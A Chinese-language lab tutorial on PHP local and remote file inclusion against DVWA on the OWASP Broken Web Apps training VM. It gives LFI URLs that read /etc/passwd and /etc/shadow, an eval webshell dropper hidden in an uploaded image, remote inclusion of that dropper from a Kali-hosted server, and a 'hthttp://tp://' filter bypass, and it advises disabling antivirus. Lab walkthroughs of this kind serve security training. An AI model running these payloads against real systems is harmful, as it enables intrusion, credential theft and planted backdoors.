文件包含滲透----當我們無法進行上傳滲透時另一種黑客攻擊

當上傳是高安全模式時,我們大可不必非要用上傳滲透實現對服務器的攻擊,我們可以換一種方式。

1.實驗環境

目標靶機:OWASP_Broken_Web_Apps_VM_1.2
下載地址
我們還需要中國菜刀kali這兩個工具,把所有的殺毒軟件關了,不然中國菜刀可能會被殺毒軟件和諧。
實驗原理及危害

文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指當服務器開啓allow_url_include選項時,就可
以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文
件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。文件包含漏洞分爲本地文件包
含漏洞與遠程文件包含漏洞,遠程文件包含漏洞是因爲開啓了php配置中的allow_url_fopen選項(選項開啓之後,服務
器允許包含一個遠程的文件)。服務器通過php的特性(函數)去包含任意文件時,由於要包含的這個文件來源過濾不
嚴,從而可以去包含一個惡意文件,而我們可以構造這個惡意文件來達到自己的目的。
1. 文件包含(File Inclusion)即程序通過[包含函數]調用本地或遠程文件,以此來實現拓展功能
2. 被包含的文件可以是各種文件格式,而當文件裏面包含惡意代碼,則會形成遠程命令執行或文件上傳漏洞
3. 文件包含漏洞主要發生在有包含語句的環境中,例如PHP所具備include、require等包含函數
文件包含分爲兩類:
本地文件包含LFI(Local File Inclusion) 當被包含的文件在服務器本地時,就形成本地文件包含
遠程文件包含RFI(Remote File Inclusion) 當被包含的文件在第三方服務器時,叫做遠程文件包含

2.低安全級別滲透

首先我們需要用虛擬機打開目標靶機,並查看ip地址
在這裏插入圖片描述

root@owaspbwa:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 00:0c:29:b2:da:ea brd ff:ff:ff:ff:ff:ff
    inet 192.168.13.144/24 brd 192.168.13.255 scope global eth0
    inet6 fe80::20c:29ff:feb2:daea/64 scope link 
       valid_lft forever preferred_lft forever

找到ip後,我們打開網頁訪問192.168.13.144
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

1.本地文件包含
訪問本地系統賬號信息及其它敏感信息
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/shadow
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/php5/apache2/php.ini
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/mysql/my.cnf
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/apache2/apache2.conf

這些都是正常的訪問:
在這裏插入圖片描述
圖片插入一句話工具
因爲在上傳高安全模式下,我們只能上傳圖片,所以我們可以利用圖片來產生我們需要的小馬文件。

1. 製作一句話圖片木馬 
<?fputs(fopen("yjssjm.php","w"),'<?php eval($_POST[yjssjm]);?>')?>
#yjssjm.php 是我們生成的文件裏面寫着<?php eval($_POST[yjssjm]);?>
3. 上傳圖片木馬文件
4. 執行文件包含並生成後門
5. 通過菜刀連接webshell
提示:
/var/www/dvwa/hackable/uploads     	#dvwa文件上傳訪問的目錄 
/var/www/dvwa/vulnerabilities/fi     		#dvwa文件包含訪問的目錄 yjssjm.php

在這裏插入圖片描述
這個時候我們的圖片以及是帶有木馬的圖片了。
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
出來這麼一堆亂碼,就是成功了。
我們可以去目標靶機OWASP上看一下
在這裏插入圖片描述
在這裏插入圖片描述

地址寫的時候,將fi後面的全部去掉,換成你生成的小馬的文件名
http://192.168.13.144/dvwa/vulnerabilities/fi/yjssjm.php

在這裏插入圖片描述
在這裏插入圖片描述

2.遠程文件包含

建立遠程服務器,這裏使用kali作爲遠程服務器,有條件的小夥伴可以使用雲服務器。
原理特別簡單,我們只需要在遠程服務器上創建小馬文件,使用遠程文件包含,包含到我們這個文件就可以了。
打開kali,默認用戶名是root,密碼是toor
在這裏插入圖片描述

打開apache
root@kali:~# service apache2 start
root@kali:~# vim /var/www/html/yjssjm.txt   #在網站目錄下面創建文件
<?fputs(fopen("yjssjm1.php","w"),'<?php eval($_POST[yjssjm]);?>')?>

訪問一下發現apache已經成功啓動
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

打開中國菜刀,同樣的操作,這裏是yjssjm1.php
http://192.168.13.144/dvwa/vulnerabilities/fi/yjssjm1.php

在這裏插入圖片描述
同樣能入侵服務器。

3.中安全級別的滲透

在這裏插入圖片描述
查看源碼我們發現增加了遠程文件包含的安全性
在這裏插入圖片描述

1.本地文件包含

因爲源碼只是增加了遠程的安全性,所以我們用上面寫的低安全性滲透的方法就可以實現了

2.遠程文件包含
 <?php
    $file = $_GET['page']; // The page we wish to display 
    // Bad input validation
    $file = str_replace("http://", "", $file);
    $file = str_replace("https://", "", $file);        
?> 
==============================================================
我們仔細看一下這些代碼,其實就是如果我匹配到了"http://" 這些字符,那麼我就將其替換爲空字符
同樣如果我匹配到了"https://" 這些字符,那麼我就將其替換爲空字符
如果我們再去訪問下面這個網址
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=http://192.168.13.145/yjssjm.txt
當然是什麼都訪問不到,因爲它默認把我們等號後面的那個"http://"去掉了,即
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=192.168.13.145/yjssjm.txt
這樣我們當然會失敗,所以我們需要多加一個"http://"
而添加的方法不唯一,下面舉個例子
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.13.145/yjssjm.txt
hthttp://tp:// - http:// = http://

只要執行成功,小馬文件生成之後,下面的步驟就跟上面的一樣了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章